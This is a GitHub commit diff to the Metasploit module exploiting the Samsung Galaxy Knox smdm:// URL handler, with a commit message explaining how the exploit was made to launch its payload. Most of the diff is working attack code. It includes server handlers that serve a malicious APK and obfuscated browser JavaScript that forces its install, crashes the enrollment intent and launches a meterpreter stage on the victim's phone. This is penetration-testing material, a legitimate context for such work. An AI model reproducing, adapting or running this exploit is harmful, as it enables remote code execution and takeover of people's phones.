Skip to content

Commit 7a62b71

Browse files
committed
Some URL fixes from @jduck and exploit ideas from Andre Moulu.
The exploit works with the URLs fixed, installs the APK, but hangs at the Installing... screen and never actually launches. We tried opening the APK in a setTimeout() intent URI, but the previously launched intent seemed unresponsive. Andre had the bright idea of re-opening the previously launched intent with invalid args, crashing it and allow us to launch the payload.
1 parent ea6d886 commit 7a62b71

File tree

2 files changed

+77
-17
lines changed

2 files changed

+77
-17
lines changed

lib/msf/core/exploit/android.rb

Lines changed: 0 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -49,8 +49,6 @@ def add_javascript_interface_exploit_js(arch)
4949
5050
// libraryData contains the bytes for a native shared object built via NDK
5151
// which will load the "stage", which in this case is our android meterpreter stager.
52-
// LibraryData is loaded via ajax later, because we have to access javascript in
53-
// order to detect what arch we are running.
5452
var libraryData = "#{Rex::Text.to_octal(ndkstager(stagename, arch), '\\\\0')}";
5553
5654
// the stageData is the JVM bytecode that is loaded by the NDK stager. It contains

modules/exploits/android/browser/samsung_knox_smdm_url.rb

Lines changed: 77 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -18,9 +18,21 @@ class Metasploit3 < Msf::Exploit::Remote
1818
:arch => ARCH_ARMLE,
1919
:javascript => true,
2020
:rank => ExcellentRanking,
21-
:vuln_test => VULN_CHECK_JS
21+
22+
# For BAP we only allow whitelisted devices/firmwares
23+
# that we have tested:
24+
# - Samsung S4
25+
:vuln_test => %Q|
26+
is_vuln = navigator.userAgent.match(
27+
/SAMSUNG GT-I9505/
28+
);
29+
|
2230
)
2331

32+
# Hash that maps payload ID -> (0|1) if an HTTP request has
33+
# been made to download a payload of that ID
34+
attr_reader :served_payloads
35+
2436
def initialize(info = {})
2537
super(update_info(info,
2638
'Name' => 'Samsung Galaxy Knox Android Browser RCE',
@@ -48,9 +60,7 @@ def initialize(info = {})
4860
'DefaultTarget' => 0,
4961
'BrowserRequirements' => {
5062
:source => 'script',
51-
:os_name => OperatingSystems::Match::ANDROID,
52-
:vuln_test => VULN_CHECK_JS,
53-
:vuln_test_error => 'The client is not vulnerable.'
63+
:os_name => OperatingSystems::Match::ANDROID
5464
}
5565
))
5666

@@ -60,15 +70,33 @@ def initialize(info = {})
6070
])
6171
], self.class)
6272

63-
6473
deregister_options('JsObfuscate')
6574
end
6675

76+
def exploit
77+
@served_payloads = Hash.new(0)
78+
super
79+
end
80+
81+
def apk_bytes
82+
payload.encoded
83+
end
84+
6785
def on_request_uri(cli, req)
68-
if req.uri =~ /\.apk$/
69-
is_head = req.method.upcase == 'HEAD'
70-
print_status "Serving #{is_head ? 'metadata' : 'payload'}..."
71-
send_response(cli, is_head ? '' : payload.encoded, magic_headers)
86+
if req.uri =~ /\/([a-zA-Z0-9]+)\.apk\/latest$/
87+
if req.method.upcase == 'HEAD'
88+
print_status "Serving metadata..."
89+
send_response(cli, '', magic_headers)
90+
else
91+
print_status "Serving payload '#{$1}'..."
92+
@served_payloads[$1] = 1
93+
send_response(cli, apk_bytes, magic_headers)
94+
end
95+
elsif req.uri =~ /_poll/
96+
puts "Polling #{req.qstring['id']}: #{@served_payloads[req.qstring['id']]}"
97+
send_response(cli, @served_payloads[req.qstring['id']].to_s, 'Content-type' => 'text/plain')
98+
elsif req.uri =~ /launch$/
99+
send_response_html(cli, launch_html)
72100
else
73101
super
74102
end
@@ -81,28 +109,62 @@ def on_request_exploit(cli, req, browser)
81109
end
82110

83111
def magic_headers
84-
{ 'Content-Length' => payload.encoded.length,
85-
'ETag' => Digest::MD5.hexdigest(payload.encoded),
112+
{ 'Content-Length' => apk_bytes.length,
113+
'ETag' => Digest::MD5.hexdigest(apk_bytes),
86114
'x-amz-meta-apk-version' => datastore['APK_VERSION'] }
87115
end
88116

89117
def generate_html
90118
%Q|
91119
<!doctype html>
92-
<html><body><script>
120+
<html><body>
121+
<script>
93122
#{exploit_js}
94123
</script></body></html>
95124
|
96125
end
97126

98127
def exploit_js
128+
payload_id = rand_word
129+
99130
js_obfuscate %Q|
100131
101-
setInterval(function(){
132+
function poll() {
133+
var xhr = new XMLHttpRequest();
134+
xhr.open('GET', '_poll?id=#{payload_id}&d='+Math.random()*999999999999);
135+
xhr.onreadystatechange = function(){
136+
if (xhr.readyState == 4) {
137+
if (xhr.responseText == '1') {
138+
setTimeout(killEnrollment, 100);
139+
} else {
140+
setTimeout(poll, 1000);
141+
setTimeout(enroll,0);
142+
setTimeout(enroll,500);
143+
}
144+
}
145+
};
146+
xhr.onerror = function(){ setTimeout(poll, 1000); };
147+
xhr.send();
148+
}
149+
150+
function enroll() {
102151
var loc = window.location.href.replace(/[/.]$/g, '');
103152
window.location = 'smdm://#{rand_word}?update_url='+
104-
encodeURIComponent(loc)+'.apk';
105-
}, 500);
153+
encodeURIComponent(loc)+'/#{payload_id}.apk';
154+
}
155+
156+
function killEnrollment() {
157+
window.location = "intent://#{rand_word}?program="+
158+
"#{rand_word}/#Intent;scheme=smdm;launchFlags=268468256;end";
159+
setTimeout(launchApp, 300);
160+
}
161+
162+
function launchApp() {
163+
window.location='intent:view#Intent;SEL;component=com.metasploit.stage/.MainActivity;end';
164+
}
165+
166+
enroll();
167+
setTimeout(poll,600);
106168
107169
|
108170
end

0 commit comments

Comments
 (0)